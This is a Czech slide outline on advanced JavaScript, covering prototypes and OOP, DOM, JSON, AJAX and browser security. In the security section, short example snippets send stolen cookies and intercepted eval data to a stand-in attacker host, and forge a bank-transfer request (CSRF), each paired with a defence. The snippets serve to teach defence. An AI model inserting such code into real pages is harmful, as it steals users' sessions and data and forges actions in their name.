Javascript – pokročilé partie

ondrej.zara@firma.seznam.cz

Obsah

  1. O implementacích a výkonu
  2. Objektové programování v Javascriptu
  3. Známé neznámé zkratky: DOM, JSON, AJAX
  4. Bezpečnost JS v prohlížeči
  5. Server-side JS

Implementace Javascriptu

Výkon

Javascript a OOP

Nutný základ: syntaxe a datové typy

První krok: klíčové slovo this

První krok: ohýbání this

Základní stavební prvky: objekt a funkce

Použití __proto__: přistupování k vlastnostem

var mujObjekt = { a:3 }; alert(mujObjekt.b);

Jak postupuje interpret při dotazu na vlastnost?

  1. Existuje vlastnost b v objektu?
  2. Pokud ne, existuje vlastnost __proto__.b ?
  3. Pokud ne, existuje vlastnost __proto__.__proto__.b ?
  4. ...

Druhý krok: Operátor new

Využití při tvorbě tříd

Nepodporujeme atribut prototype, který je u všech objektů. Tento atribut je normou povolen a přidává do objektu nové metody a atributy (případně s danou hodnotou). Tento atribut jsme neimplementovali, protože by byl problém ho implementovat a jsme toho názoru, že je k ničemu. — prohlížeč Links, projektová dokumentace

Využití při dědičnosti

Důsledky prototypové dědičnosti – zjištění třídy

Důsledky prototypové dědičnosti – obohacování

Co je to DOM

DOM a jeho problémy

Co je to JSON

JSON vs. XML

Co je to AJAX

Bezpečnost JS v prohlížeči

Jednoduchá krádež sušenek

var susenka = document.cookie; var url = "http://ja.jsem.zly/?susenka=" + encodeURIComponent(susenka); var img = document.createElement("img"); img.src = url;

Ochrana: HttpOnly cookies

Zneužití sušenek bez jejich znalosti (CSRF)

var url = "http://nejaka.banka.cz/?prevod&castka=1000&from=jarda&to=lojza"; var img = document.createElement("img"); img.src = url;

Ochrana: kombinace GET tokenu a cookie se stejnou hodnotou

Liknavá interpretace JSON dat

var oldEval = eval; eval = function(jsCode) { var url = "http://ja.jsem.zly/?data=" + encodeURIComponent(jsCode); var img = document.createElement("img"); img.src = url; return oldEval(jsCode); }

Ochrana: nepoužívat eval()

Javascript mimo prohlížeč

Některé známé implementace

Další čtení

Konec

Prostor pro otázky